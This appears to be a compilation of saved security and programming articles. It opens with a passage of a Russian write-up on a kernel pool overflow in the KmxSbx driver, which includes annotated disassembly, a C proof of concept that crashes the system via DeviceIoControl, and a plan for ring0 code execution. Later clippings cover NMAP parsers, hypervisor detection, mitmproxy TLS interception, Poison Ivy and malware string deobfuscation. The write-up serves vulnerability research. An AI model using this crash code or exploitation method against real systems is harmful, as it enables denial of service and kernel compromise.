.text:0001633E lea eax, [eax+eax+50h] ; размер UNICODE строки + 0x50 байт  
.text:00016342 movzx edi, ax **; Неправильное привидение типа, округление до
WORD**  
.text:00016345  
.text:00016345 loc_16345:;  
.text:00016345 movzx eax, di  
.text:00016348 push ebx  
.text:00016349 xor ebx, ebx  
.text:0001634B cmp eax, ebx  
.text:0001634D jz short loc_16359  
.text:0001634F push eax; Кол-во байт  
.text:00016350 push ebx; Тип пула(NonPaged)  
.text:00016351 call ds:ExAllocatePool **; В итоге мы контролируем размер
выделяемого chunk'a**  
.text:00016357 mov ebx, eax  
[..]  
.text:000163A6 movzx esi, word ptr [edx]  
.text:000163A9 mov [eax+edx], si **; Тут происходит запись за границы**  
.text:000163AD inc edx  
.text:000163AE inc edx  
.text:000163AF test si, si  
[..]  
.text:000163F5 push ebx; P  
.text:000163F6 call sub_12A43  
.text:00012A43 sub_12A43 proc near; CODE XREF: sub_12C9A+5Cp  
.text:00012A43; sub_12C9A+79p ...  
.text:00012A43  
.text:00012A43 P = dword ptr 4  
.text:00012A43  
.text:00012A43 cmp esp+P], 0  
.text:00012A48 jz short locret_12A56  
.text:00012A4A push 0; Tag  
.text:00012A4C push [esp+4+P]; P  
.text:00012A50 call ds:ExFreePoolWithTag **; Освобождение, write4 сценарий**`

**C-подобный псевдокод**

view sourceprint?

`1.``len = wsclen(attacker_controlled);`

`2.``total_len = (2*len + 0x50) ;`

`3.``size_2_alloc = (``WORD``)total_len;` `// integer wrap!!!`

`4.``mem = ExAllocatePool(size_2_alloc);`

`5.``....`

`6.``wcscpy(mem, attacker_controlled);``//переполнение происходит на
копировании строк`

`7.``...`

`8.``ExFreePool(mem);` `//тут происходит освобождение, слияние с чанком,
который мы создали, сформировав фейковый заголовок, мы перезаписываем
указатель в памяти ядра, адресом в пользовательском адресном пространстве, где
лежит наш ring0-shellcode`

Как видно из кода, уязвимость связана с приведением целочисленных типов,
которая ведет к тому, что размер для юникод-строки будет рассчитан
неправильно. Все это приведет к переполнению, если передать драйверу буфер с
юникод-строкой больше 0xffff байт.

**Нехитрый код для воспроизведения BSoD**

view sourceprint?

`01.``hDevice = CreateFileA(``"\\\\.\\KmxSbx"``,`

`02.``GENERIC_READ|GENERIC_WRITE,`

`03.``0,`

`04.``0,`

`05.``OPEN_EXISTING,`

`06.``0,`

`07.``NULL);`

`08.``inbuff = (``char` `*)``malloc``(0x1C000);`

`09.``if``(!inbuff){`

`10.``printf``(``"malloc failed!\n"``);`

`11.``return` `0;`

`12.``}`

`13.``memset``(inbuff,` `'A'``,0x1C000-1);`

`14.``memset``(buff+0x11032, 0x00, 2);``//end of unicode, size to allocate
0xff0`

`15.``ioctl = 0x88000080;`

`16.``first_dword = 0x400;`

`17.``memcpy``(buff, &first_dword,` `sizeof``(``DWORD``));`

`18.``DeviceIoControl(hDevice, ioctl, (``LPVOID``)inbuff, 0x1C000,
(``LPVOID``)inbuff, 0x100, &cb,NULL);`

ксплуатация данной уязвимости не так проста, как может показаться на первый
взгляд. Здесь имеют место некоторые ограничения, а именно – переполнение
\(запись за границы чанка\) огромное \(больше 0xffff\), что потенциально ведет
к синему экрану еще до исполнения ExFreePoolWithTag \(и, следовательно, к
замене указателей при слиянии\):

`PAGE_FAULT_IN_NONPAGED_AREA (50)  
Invalid system memory was referenced. This cannot be protected by try-except,  
it must be protected by a Probe. Typically the address is just plain bad or it  
is pointing at freed memory.  
Arguments:  
Arg1: fe8aa000, memory referenced.  
Arg2: 00000001, value 0 = read operation, 1 = write operation.  
Arg3: f0def3a9, If non-zero, the instruction address which referenced the bad
memory address.  
Arg4: 00000000, (reserved)  
eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 esi=00004141 edi=fe87d094  
eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0 nv up ei pl nz na pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206  
KmxSbx+0x63a9:  
f0def3a9 66893410 mov word ptr [eax+edx],si ds:0023:fe8aa000=???? **< ----
запись за границу, улетели в неспроецированную** память`

При перезаписи памяти мы можем переписать данные, которые являются указателями
каких-либо ядерных структур, что может привести к самым неожиданным
последствиям \(очередному BSoD\).

Для улучшения эффективности эксплуатации данной уязвимости воспользуемся
следующим трюком: создадим N потоков, которые вызывают DeviceIoControl, с
такими параметрами, чтобы с какой-то вероятностью N количество блоков
определенной длины \(0xff0 в данном примере\) были выделены, затем освобождены
– это дает нам шанс, что при переполнении мы не получим синий экран типа Page
Fault \(PAGE\_FAULT\_IN\_NONPAGED\_AREA\).

<img src='img/Temp2_4778.jpg' width='639' height='496' />

### **Выводы**

На прощание могу лишь сказать, что в интернете очень мало информации об
эксплуатации Kernel Pool Overflow. Также огорчает, что в паблике нет рабочих
эксплойтов, что создает некое заблуждение, что переполнение памяти в ядре
очень сложно эксплуатировать, а если и возможно, то максимальный исход
злодеяний – обычный BSoD.

# Marco Ramilli's Blog: NMAP XML Parser.

**Created:**| _4/21/2011 10:11:10 AM_  
---|---  
**Updated:**| _4/21/2011 10:11:10 AM_  
**Author:**| __  
**Tags:**| _scan-monkey xml port_  
  

## NMAP XML Parser.

Apr

20

Hi Folks,

after a couple of emails on this topic I decided to share some NMAP specific
xml parsers. As many of you know through -oX flag it's possible to save NMAP
results into a well-structured xml file. But what about the visualization or
the manipulation of such a file ?

  

Many different ways exist:

  
  
<img src='img/Temp2_5214.jpg' />  
  

  

  * First above others the default NMAP command line supporting style sheets to NMAP output: **nmap -A -oX --stylesheet http://insecure.org/nmap/data/nmap.xsl scanreport.xml www.example.com**

  

  * xsltproc is the first external example. It applies different type of XSLT to the NMAP results in the following way: **xsltproc nmap-output.xml -o nmap-output.html**

****

**  
**

****

  * Saxon a similart xslt processor. You can try in the following way: **java -jar saxon9.jar -s:nmap-output.xml -o:nmap-output.html**

****

**  
**

****

  * xalan-java which is an XSLT processor for transforming XML documents into HTML, text, or other XML document types. You can try it in the following way: **java -jar xalan.jar -IN nmap-output.xml -OUT nmap-output.html**

**  
**

  * PowerShellScript . This script converts an XML file into a .NET object within properties. Perfect if you need to write a software that keeps as input the NMAP xml output format. For example if you are building your own report software or a NMAP wrapper.

  

  * NMAP-XML Flat File converts NMAP xml file format into a HTML or EXCEL table. It's written in java and it's pretty "download 'n run". **java XMLNMAPReader**nmap-output.xml** l > OutputFile.\[html/xls\]**

**  
**

  * NMAP Python XML-Parser it translates xml results into .csv file.

  

  * PBNJ. Well it does much more that parsing NMAP XML, but for this post it is able to save NMAP xml file into a database.

  

  * NMAP2DB is a great tool for popolating SQLite databases with NMAP results

  

  * Ruby Nmap Parser Library. Great library for rubyans providing Ruby interface to Nmap's scan data. It can run Nmap and parse its XML output directly from the scan, parse a file containing the XML data from a separate scan, parse a String of XML data from a scan, or parse XML data from an object via its read\(\) method. 

Well, I am pretty sure there are tons of other ways to modify NMAP xml format
around Internet, so please feel free to add comments suggesting what is your
own way or what is your favorite tool.

# Detecting Hypervisor Presence on Windows 10

**Created:**| _9/23/2018 9:00:44 AM_  
---|---  
**Updated:**| _9/23/2018 9:00:44 AM_  
**Author:**| _wishi_  
**Tags:**| _virtusalisation_  
  

  

# Detecting Hypervisor Presence on Windows 10

Detecting a hypervisor on Windows 10 is relatively simple, but due to the
simplistic nature of the currently published detection vectors it’s likely
that they are also relatively simple to spoof or remove. In this article we’ll
detail a few ways of detecting a hypervisors presence on Windows 10,
determining if it’s a Microsoft hypervisor, and other indirect ways of
determining if you’re operating in a virtualized environment.

All tests were performed on **Windows 10 x64, Version 1803**.

### Hypervisor Library

In the Windows kernel there are various system routines that allow the system
programmer to query information about the environment they’re operating in.
One of which is the Windows Hypervisor library \(routine prefix:
Hvl/Hvi/Hvp/Hvlp\). The system routine of interest in this article is
**HvlQueryDetailInfo** which is used to query the entire state of a system
that is virtualized. It calls internal routines such as
**HviGetHypervisorInterface** which is used to determine the presence of a
hypervisor, and if one is present, the function executes cpuid leaf 0x40000001
which puts a 4-byte signature into the EAX register \(Hv\#1\). It also, calls
**HviIsHypervisorVendorMicrosoft** which executes, if a hypervisor is present,
the cpuid leaf 0x40000000 and stores the vendor name in EBX, ECX, and EDX;
respectively. In the case of this function the routine returns true if the
vendor name when the registers are read in succession yeilds “Microsoft Hv”.

We’re going to take a look at how one can determine in a variety of indirect
ways whether the environment they’re executing in is virtualized, from both
user-mode and the kernel.

### Using NtQuerySystemInformation \(User and Kernel\)

In the latest **SYSTEM\_INFORMATION\_CLASS** provided on Version 1803, there
is a system information class **SystemHypervisorDetailInformation** \(0x9f\).
This class can be used to fill a buffer
**SYSTEM\_HYPERVISOR\_DETAIL\_INFORMATION** with information about the
interfaces, features, vendor, and other implementation details. To tie this
back to the introduction, this information class results in a call to
**HvlQueryDetailInfo**. This can be incredibly useful information for
operators both in user-mode and the kernel, if the hypervisor is custom you
will be able to query information about it and also determine its presence
which is useful for protected applications that do not want to execute in a
virtualized environment.

<img src='img/66VZ07e.png' width='576' height='281' />

Figure 1. Disassembly of HvlQueryDetailInfo in Windows 10 Version 1803.

### **Using CPUID**

Anti-malware suites are beginning to use more indirect and undocumented
methods of detecting hypervisors due to the ability of hypervisor developers
to return false output or spoof certain information returned to the guest. One
of which is taking advantage of reserved responses that are always returned
unless the system is subverted. It involves using two leaf values, one valid
and one invalid, and determining if the returned results are the previously
reserved answer. The sample code for this method of detection is shown below.

#### — UmIsVirtualized

[code]

    unsigned long UmIsVirtualized( void )
    {
      unsigned int invalid_leaf = 0x13371337;
      unsigned int valid_leaf = 0x40000000;
    
      struct _HV_DETAILS
      {
        unsigned int Data[4];
      };
    
      _HV_DETAILS InvalidLeafResponse = { 0 };
      _HV_DETAILS ValidLeafResponse = { 0 };
    
      __cpuid( &InvalidLeafResponse, invalid_leaf );
      __cpuid( &ValidLeafResponse, valid_leaf );
    
      if( ( InvalidLeafResponse.Data[ 0 ] != ValidLeafResponse.Data[ 0 ] ) || 
        ( InvalidLeafResponse.Data[ 1 ] != ValidLeafResponse.Data[ 1 ] ) || 
        ( InvalidLeafResponse.Data[ 2 ] != ValidLeafResponse.Data[ 2 ] ) || 
        ( InvalidLeafResponse.Data[ 3 ] != ValidLeafResponse.Data[ 3 ] ) )
        return STATUS_HYPERV_DETECTED;
        
      return STATUS_HV_NOT_PRESENT;
    }
[/code]

  1. unsignedlongUmIsVirtualized\(void\)
  2. \{
  3. unsignedint invalid\_leaf = 0x13371337;
  4. unsignedint valid\_leaf = 0x40000000;
  5. struct \_HV\_DETAILS
  6. \{
  7. unsignedint Data\[4\];
  8. \};
  9. \_HV\_DETAILS InvalidLeafResponse = \{0\};
  10. \_HV\_DETAILS ValidLeafResponse = \{0\};
  11. \_\_cpuid\( &InvalidLeafResponse, invalid\_leaf \);
  12. \_\_cpuid\( &ValidLeafResponse, valid\_leaf \);
  13. if\(\( InvalidLeafResponse.Data\[0\] \!= ValidLeafResponse.Data\[0\]\) || 
  14. \( InvalidLeafResponse.Data\[1\] \!= ValidLeafResponse.Data\[1\]\) || 
  15. \( InvalidLeafResponse.Data\[2\] \!= ValidLeafResponse.Data\[2\]\) || 
  16. \( InvalidLeafResponse.Data\[3\] \!= ValidLeafResponse.Data\[3\]\)\)
  17. return STATUS\_HYPERV\_DETECTED;
  18. return STATUS\_HV\_NOT\_PRESENT;
  19. \}

[code]

    unsigned long UmIsVirtualized( void )
    {
      unsigned int invalid_leaf = 0x13371337;
      unsigned int valid_leaf = 0x40000000;
    
      struct _HV_DETAILS
      {
        unsigned int Data[4];
      };
    
      _HV_DETAILS InvalidLeafResponse = { 0 };
      _HV_DETAILS ValidLeafResponse = { 0 };
    
      __cpuid( &InvalidLeafResponse, invalid_leaf );
      __cpuid( &ValidLeafResponse, valid_leaf );
    
      if( ( InvalidLeafResponse.Data[ 0 ] != ValidLeafResponse.Data[ 0 ] ) || 
        ( InvalidLeafResponse.Data[ 1 ] != ValidLeafResponse.Data[ 1 ] ) || 
        ( InvalidLeafResponse.Data[ 2 ] != ValidLeafResponse.Data[ 2 ] ) || 
        ( InvalidLeafResponse.Data[ 3 ] != ValidLeafResponse.Data[ 3 ] ) )
        return STATUS_HYPERV_DETECTED;
        
      return STATUS_HV_NOT_PRESENT;
    }
[/code]

The above snippet is an example, however, it can be used to determine the
presence based on default responses from the processor when the specific
hypervisor function is undefined. Currently, this is one way that anti-malware
suites are detecting hypervisor based malware.

### Abusing TLB behavior

Every time the operating system accesses memory a buffer called the TLB is
iterated, and the relevant TLB entry is searched for. The TLB is a set of
recently accessed virtual and physical addresses. This means that if the
virtual address accessed is present in the TLB, the physical address
corresponding to that virtual address will be used to access the memory. For
anyone familiar with hypervisor development or the behavior of VM-exits knows
that the TLB is flushed every time a VM-exit occurs. Without a hypervisor this
behavior is not present, unless a _mov_ operation on _CR4.SMEP_ is executed.
This operation occurs with multiple vulnerable drivers that allow the setting
of SMEP from user-mode via their IOCTL handlers. It’s worth noting that other
_mov_ operations on control registers can result in it, however, they’re rare
operations and not worth expanding on here. If you’re interested refer to
Section 4.10.4.1 in Intel 64 Software Manual Volume 3A.

Another instruction pair that can be used for detection is based on an
oversight in some hypervisors. The instructions **INVD** \(Invalidate Internal
Caches\) and **WBINVD** \(Write Back Invalidate Cache\). The detection is
performed by accessing a page in memory. This results in the processor placing
the page’s physical address into one of the TLBs. When executing WBINVD or
INVD the TLB is flushed, this means that if the page previously accessed is no
longer present then a TLB miss and page fault will occur. If one were to
register a page fault handler prior to the execution of one of these
instructions that handler could detect whether a hypervisor was in use. This
particular instruction pair was used for detecting BOCHS\[1\].

###### **Side Note: TLB based detection on newer AMD and Intel CPUs does not
result in a VM-exit flush.**

###### **Edit 9/21/2018: It’s important to note that the TLB is not flushed on
every VM-exit if VPID is enabled. Thank you**@PetrBenes** for the reminder.**

### Conclusion

Something to be expected in the future is for the \(ab\)use of CPU bugs and
intricate implementation details of hypervisors by anti-cheat software given
the rise in popularity of hypervisor use in deceiving anti-cheat software.
There are many more ways to detect hypervisor use than using cpuid, checking
hiberfile, registry, and system firmware information; one of which is the
execution of an instruction which results in a system hang if a hypervisor is
present. More research should be done on a variety of scenarios that could
indicate a hypervisors presence, in the future I plan to look into instruction
execution times on standard systems, and the variance of instruction execution
time on vanilla versus virtualized machines.

As always, comments and feedback are welcome\! Thanks for reading.

  

# mitmproxy 0.10 - How mitmproxy works

**Created:**| _1/31/2014 9:52:56 PM_  
---|---  
**Updated:**| _1/31/2014 9:52:56 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  

# **H** ow mitmproxy works****

Mitmproxy is an enormously flexible tool**.** Knowing exactly how the proxying
process works will help you deploy it creatively, and take into account its
fundamental assumptions and how to work around them**.** This document
explains mitmproxy's proxy mechanism in detail, starting with the simplest
unencrypted explicit proxying, and working up to the most complicated
interaction - transparent proxying of SSL-protected traffic1 in the presence
of SNI **.**

# Explicit HTTP****

Configuring the client to use mitmproxy as an explicit proxy is the simplest
and most reliable way to intercept traffic**.** The proxy protocol is codified
in the HTTP RFC , so the behaviour of both the client and the server is well
defined, and usually reliable**.** In the simplest possible interaction with
mitmproxy, a client connects directly to the proxy, and makes a request that
looks like this:

[code]

    GET http://example.com/index.html HTTP/1**.** 1
[/code]

This is a proxy GET request - an extended form of the vanilla HTTP GET request
that includes a schema and host specification, and it includes all the
information mitmproxy needs to proceed**.**

<img src='img/Temp2_10458.png' />

**1**|  The client connects to the proxy and makes a request**.**  
---|---  
**2**|  Mitmproxy connects to the upstream server and simply forwards the
request on**.**  
# Explicit HTTPS****

The process for an explicitly proxied HTTPS connection is quite different**.**
The client connects to the proxy and makes a request that looks like this:

[code]

    CONNECT example.com:443 HTTP/1**.** 1
[/code]

A conventional proxy can neither view nor manipulate an SSL-encrypted data
stream, so a CONNECT request simply asks the proxy to open a pipe between the
client and server**.** The proxy here is just a facilitator - it blindly
forwards data in both directions without knowing anything about the
contents**.** The negotiation of the SSL connection happens over this pipe,
and the subsequent flow of requests and responses are completely opaque to the
proxy**.**

## The MITM in mitmproxy****

This is where mitmproxy's fundamental trick comes into play**.** The MITM in
its name stands for Man-In-The-Middle - a reference to the process we use to
intercept and interfere with these theoretically opaque data streams. The
basic idea is to pretend to be the server to the client, and pretend to be the
client to the server, while we sit in the middle decoding traffic from both
sides**.** The tricky part is that the Certificate Authority  system is
designed to prevent exactly this attack, by allowing a trusted third-party to
cryptographically sign a server's SSL certificates to verify that they are
legit**.** If this signature doesn't match or is from a non-trusted party, a
secure client will simply drop the connection and refuse to proceed**.**
Despite the many shortcomings of the CA system as it exists today, this is
usually fatal to attempts to MITM an SSL connection for analysis**.** Our
answer to this conundrum is to become a trusted Certificate Authority
ourselves**.** Mitmproxy includes a full CA implementation that generates
interception certificates on the fly**.** To get the client to trust these
certificates, we register mitmproxy as a trusted CA with the device manually
**.**

## Complication 1: What's the remote hostname**?**

To proceed with this plan, we need to know the domain name to use in the
interception certificate - the client will verify that the certificate is for
the domain it's connecting to, and abort if this is not the case**.** At first
blush, it seems that the CONNECT request above gives us all we need - in this
example, both of these values are "example.com"**.** But what if the client
had initiated the connection as follows:

[code]

    CONNECT 10**.** 1.1.1:443 HTTP/1.1
[/code]

Using the IP address is perfectly legitimate because it gives us enough
information to initiate the pipe, even though it doesn't reveal the remote
hostname**.**

Mitmproxy has a cunning mechanism that smooths this over - upstream
certificate sniffing **.** As soon as we see the CONNECT request, we pause the
client part of the conversation, and initiate a simultaneous connection to the
server**.** We complete the SSL handshake with the server, and inspect the
certificates it used**.** Now, we use the Common Name in the upstream SSL
certificates to generate the dummy certificate for the client**.** Voila, we
have the correct hostname to present to the client, even if it was never
specified**.**

## Complication 2: Subject Alternative Name****

Enter the next complication**.** Sometimes, the certificate Common Name is
not, in fact, the hostname that the client is connecting to**.** This is
because of the optional Subject Alternative Name  field in the SSL certificate
that allows an arbitrary number of alternative domains to be specified**.** If
the expected domain matches any of these, the client will proceed, even though
the domain doesn't match the certificate Common Name**.** The answer here is
simple: when extract the CN from the upstream cert, we also extract the SANs,
and add them to the generated dummy certificate**.**

## Complication 3: Server Name Indication****

One of the big limitations of vanilla SSL is that each certificate requires
its own IP address**.** This means that you couldn't do virtual hosting where
multiple domains with independent certificates share the same IP address**.**
In a world with a rapidly shrinking IPv4 address pool this is a problem, and
we have a solution in the form of the Server Name Indication  extension to the
SSL and TLS protocols**.** This lets the client specify the remote server name
at the start of the SSL handshake, which then lets the server select the right
certificate to complete the process**.**

SNI breaks our upstream certificate sniffing process, because when we connect
without using SNI, we get served a default certificate that may have nothing
to do with the certificate expected by the client**.** The solution is another
tricky complication to the client connection process**.** After the client
connects, we allow the SSL handshake to continue until just _after_ the SNI
value has been passed to us**.** Now we can pause the conversation, and
initiate an upstream connection using the correct SNI value, which then serves
us the correct upstream certificate, from which we can extract the expected CN
and SANs**.**

There's another wrinkle here. Due to a limitation of the SSL library mitmproxy
uses, we can't detect that a connection _hasn't_ sent an SNI request until
it's too late for upstream certificate sniffing**.** In practice, we therefore
make a vanilla SSL connection upstream to sniff non-SNI certificates, and then
discard the connection if the client sends an SNI notification**.** If you're
watching your traffic with a packet sniffer, you'll see two connections to the
server when an SNI request is made, the first of which is immediately closed
after the SSL handshake**.** Luckily, this is almost never an issue in
practice**.**

## Putting it all together****

Lets put all of this together into the complete explicitly proxied HTTPS
flow**.**

<img src='img/Temp2_10460.png' />

**1**|  The client makes a connection to mitmproxy, and issues an HTTP CONNECT
request**.**  
---|---  
**2**|  Mitmproxy responds with a 200 Connection Established, as if it has set
up the CONNECT pipe**.**  
**3**|  The client believes it's talking to the remote server, and initiates
the SSL connection**.** It uses SNI to indicate the hostname it is connecting
to**.**  
**4**|  Mitmproxy connects to the server, and establishes an SSL connection
using the SNI hostname indicated by the client**.**  
**5**|  The server responds with the matching SSL certificate, which contains
the CN and SAN values needed to generate the interception certificate**.**  
**6**|  Mitmproxy generates the interception cert, and continues the client
SSL handshake paused in step 3**.**  
**7**|  The client sends the request over the established SSL connection**.**  
**7**|  Mitmproxy passes the request on to the server over the SSL connection
initiated in step 4**.**  
# Transparent HTTP****

When a transparent proxy is used, the HTTP/S connection is redirected into a
proxy at the network layer, without any client configuration being
required**.** This makes transparent proxying ideal for those situations where
you can't change client behaviour - proxy-oblivious Android applications being
a common example**.**

To achieve this, we need to introduce two extra components**.** The first is a
redirection mechanism that transparently reroutes a TCP connection destined
for a server on the Internet to a listening proxy server**.** This usually
takes the form of a firewall on the same host as the proxy server - iptables
on Linux or pf  on OSX**.** Once the client has initiated the connection, it
makes a vanilla HTTP request, which might look something like this:

[code]

    GET /index.html HTTP/1**.** 1
[/code]

Note that this request differs from the explicit proxy variation, in that it
omits the scheme and hostname**.** How, then, do we know which upstream host
to forward the request to**?** The routing mechanism that has performed the
redirection keeps track of the original destination for us**.** Each routing
mechanism has a different way of exposing this data, so this introduces the
second component required for working transparent proxying: a host module that
knows how to retrieve the original destination address from the router**.** In
mitmproxy, this takes the form of a built-in set of modules  that know how to
talk to each platform's redirection mechanism**.** Once we have this
information, the process is fairly straight-forward**.**

<img src='img/Temp2_10459.png' />

**1**|  The client makes a connection to the server**.**  
---|---  
**2**|  The router redirects the connection to mitmproxy, which is typically
listening on a local port of the same host**.** Mitmproxy then consults the
routing mechanism to establish what the original destination was**.**  
**3**|  Now, we simply read the client's request..**.**  
**4**| ..**.** and forward it upstream.  
# Transparent HTTPS****

The first step is to determine whether we should treat an incoming connection
as HTTPS**.** The mechanism for doing this is simple - we use the routing
mechanism to find out what the original destination port is**.** By default,
we treat all traffic destined for ports 443 and 8443 as SSL**.**

From here, the process is a merger of the methods we've described for
transparently proxying HTTP, and explicitly proxying HTTPS**.** We use the
routing mechanism to establish the upstream server address, and then proceed
as for explicit HTTPS connections to establish the CN and SANs, and cope with
SNI**.**

<img src='img/Temp2_10461.png' />

**1**|  The client makes a connection to the server**.**  
---|---  
**2**|  The router redirects the connection to mitmproxy, which is typically
listening on a local port of the same host**.** Mitmproxy then consults the
routing mechanism to establish what the original destination was**.**  
**3**|  The client believes it's talking to the remote server, and initiates
the SSL connection**.** It uses SNI to indicate the hostname it is connecting
to**.**  
**4**|  Mitmproxy connects to the server, and establishes an SSL connection
using the SNI hostname indicated by the client**.**  
**5**|  The server responds with the matching SSL certificate, which contains
the CN and SAN values needed to generate the interception certificate**.**  
**6**|  Mitmproxy generates the interception cert, and continues the client
SSL handshake paused in step 3**.**  
**7**|  The client sends the request over the established SSL connection**.**  
**7**|  Mitmproxy passes the request on to the server over the SSL connection
initiated in step 4**.**  
* * *
  1. I use "SSL" to refer to both SSL and TLS in the generic sense, unless otherwise specified**.** ↩

****

# Finding remote vulnerabilities in a trojan - F-Secure Weblog : News from the
Lab

**Created:**| _4/21/2010 10:56:49 AM_  
---|---  
**Updated:**| _4/21/2010 10:56:57 AM_  
**Author:**| __  
**Tags:**| _Exploit reversing Malware-analysis_  
  
**Finding remote vulnerabilities in a trojan**|  Posted by Mikko @ 10:40 GMT | Comments  
---|---  
* * *  
Many of our readers are familiar with Poison Ivy, a Remote Access Trojan that
is often used in various attacks - especially in targeted espionage attacks.
More information on such RAT applications can be found from this blog post.  
  
Poison Ivy RAT is developed by a Swedish coder called "Shapeless"  
  
<img src='img/Temp2_3220.png' alt='Shapeless' />  
  
Now, we just learned about a new research paper by **Andrzej Dereszowski** of
Signal11.  
  
<img src='img/Temp2_3219.png' alt='signal11' />  
  
Andrzej was investigation a targeted attack case and found out that Poison Ivy
was used to steal data from the target. This got him thinking about the fact
that lots of researchers do fuzzing and try to find vulnerabilities from
Internet Explorer or Adobe PDF Reader - why not try to find vulnerabilities
from Poison Ivy?  
  
And then **he did exactly this** , uncovering a remote code execution
vulnerability from Poison Ivy, making it possible for the victim to attack
back at his attacker.  
  
<img src='img/Temp2_3218.png' alt='signal11' />  

# multi-console - Allows the usage of multiple interactive consoles for a
single Windows program - Google Project Hosting

**Created:**| _10/29/2011 1:44:46 PM_  
---|---  
**Updated:**| _10/29/2011 1:44:46 PM_  
**Author:**| __  
**Tags:**| _windows programming_  
  
Convenient, easy to use library for creating multiple interactive consoles
windows. Sporting a C++ interface, input and output is identical to that of
standard C++ streams and usage with all standard algorithms and iterator
adapters \(std::copy, std::istream\_iterator, etc\) is supported. Reference
counted handles ensure the windows stay alive as long as required, and close
when they are no longer needed without any special code. Requires Boost for
both building and usage.  
---

# GPU Open Analytics Initiative

**Created:**| _5/14/2017 12:02:28 PM_  
---|---  
**Updated:**| _5/14/2017 12:06:31 PM_  
**Author:**| __  
**Tags:**| _analysis GPU data science big\_data_  
  

  

GPU Open Analytics

# GPU Open Analytics Initiative

Continuum Analytics, H2O.ai, and MapD Technologies have announced the
formation of the GPU Open Analytics Initiative \(GOAI\) to create common data
frameworks enabling developers and statistical researchers to accelerate data
science on GPUs. GOAI will foster the development of a data science ecosystem
on GPUs by allowing resident applications to interchange data seamlessly and
efficiently.  
  

Github

  

<img src='img/Temp2_3383.png' width='555' height='266' />

# GPU Data Frame

  

Architecture

Our first project: an open source GPU Data Frame with a corresponding Python
API. The GPU Data Frame is a common API that enables efficient interchange of
data between processes running on the GPU. End-to-end computation on the GPU
avoids transfers back to the CPU or copying of in-memory data reducing compute
time and cost for high-performance analytics common in artificial intelligence
workloads. Users of the MapD Core database can output the results of a SQL
query into the GPU Data Frame, which then can be manipulated by the Continuum
Analytics’ Anaconda NumPy-like Python API or used as put into the H2O suite of
machine learning algorithms without additional data manipulation.



                  

                        

                        

# Committers

  1. Siu Kwan Lam
  2. Arno Candel
  3. Minggang Yu  

  4. Stanley Seibert
  5. Jon Mckinney
  6. Bill Maimone
  7. Vinod Iyengar
  8. Todd Mostak

  

# Using concolic execution for static analysis of malware • Raashid Bhat

**Created:**| _3/7/2018 8:32:08 AM_  
---|---  
**Updated:**| _3/7/2018 8:32:08 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification SMT_  
  

  

#  Using concolic execution for static analysis of malware

Reverse engineering is about reducing the complex equation of binary code into
na abstract understandable form . Dynamic and static analysis can speed up the
process to a large extent , but they have their limitations when malware
further tries to obfuscate and add an extra layer of protection to make
analysis harder . Hiding import calls , obfuscated strings , use of visualized
code are some of the techniques which hinder static analysis ,even when binary
is finally stripped to its original form . These entities are dynamically
retrieved by a malware sample

Often times writing scripts is further required to recover hidden entities \(
imports, strings , opcodes etc.\)

Below is an example of Tofsee spam bot , which features string obfuscation .
Strings in this trojan are dynamically generated using a simple algorithm
which extracts them from an encoded data buffer .

<img src='img/rsmdjx0s3u9x0a_retina.jpg' width='321' height='299' alt='2.JPG'
/>

An easier way to deal with this would to be implement this small algorithm as
a python function and statically generate all strings from xrefs to an encoded
data buffer . By using asm text kung-fu , one can extract all the parameters
passed , as these functions usually do expect some constants and size
parameters

[code]

    import array
    
    def DecodeStr(buf, key, adder):
        dst = array.array("B")
        x = 1
        
        for i in buf:
            
            dst.append( (ord(i) ^ key ) & 0xff )
            
            key = (x + adder + key) & 0xff
            #print "key = %x" % key
            x = x - (1 << 32) # neg in python  
            x = -x & 0xff
            #print "x = %x" % x
        #print dst.tostring()
        return dst.tostring()
    
[/code]

parameter extraction can be achieved with some assembly text parsing

[code]

    MaxSearchStep = 5
        ea  = i
        while "push    " not in GetDisasm(ea):
            ea = PrevHead(ea)
        ea = PrevHead(ea)
        while "push    " not in GetDisasm(ea):
            ea = PrevHead(ea)
        #print "%x %s" % ( ea, GetDisasm(ea))
        disasm = GetDisasm(ea)
        ea = PrevHead(ea)
        while "push    " not in GetDisasm(ea):
            ea = PrevHead(ea)
    DecStr = DecodeStr(GetManyBytes(LocByName(disasm[15:]), slen, 0), 169, 183)[0:slen].strip(" ")
            print DecStr
            for i in range(0, slen):
                PatchByte(LocByName(disasm[15:]) + i, ord(DecStr[i])),
                LocByName(disasm[15:]) + i,
            MakeStr(LocByName(disasm[15:]), LocByName(disasm[15:]) + slen)
    
[/code]

<img src='img/ughz9xkqcuan2q_retina.jpg' width='468' height='299' alt='2.JPG'
/>

This script adds a whole lot of information to the context of static analysis
process

or we can leverage on the IDA APP call feature for the same result

##  “Appcall is a mechanism used to call functions inside the debugged program
from the debugger or your script as if it were a built-in function.”

With APP call , we do not necessarily need to know the internal details of an
underlying algorithm , but we rather call a function directly . Following
example portrays a Zeus malware sample with an import table calls replaced
with dynamic API retrieval calls , API call information can be retrieved using
APP call on a defined function , but again by using disassembly text to
extract parameters

[code]

    #int __fastcall get_imports(void *kernel_base, int size, int HashOfFunction, int Index);
            FuncAddr = Appcall.get_imports(ECX, EDX, FirstParam, SecondParam) # API CAll 
            print hex(FuncAddr)
            MakeFunction(FuncAddr)
            print GetFunctionName(FuncAddr)
    
[/code]

Although this method works fine , but the limitations occur when parameters
are not in the order we expect them to be. Due to the Turing complete nature
of assembly language, parameters can be passed on in many different ways , for
example

Side effects of following statements are same

[code]

    PUSH 0xdeadbeef
    MOV [esp], 0xdeadbeef
    MOV [ebp- x] , 0xdeadbeef
    MOV [esp], 0xdeadbeefy (x,y two values to be added to get final value) 
    ADD [[esp], 0xdeadbeefX
    
[/code]

If function has \_\_fastcall convention then ,

[code]

    MOV ECX, EDX ( EDX is set earlier ) 
    SHR ECX, 7h
    PUSH 10h
    POP EDX
    
[/code]

In such cases extracting parameters using text parsing would not be a viable
solution .

Concolic execution in these scenarios can be of great help to retrieve such
values . In Concolic execution symbols are provided with concrete values \( in
our case we will provide necessary entities to reach our desired location \) ,
in opposite to symbolic execution which explores all paths

To help us with Concolic execution, we will make use of miasm2 library .
miasm2 is a reverse engineering framework . miasm2 has its own internal IR
language which is obtained from given defined assembly code . It also features
an internal sandbox which can be used for run trace analysis on binaries

For illustration , we will use a sample of a Zeus variant Panda malware which
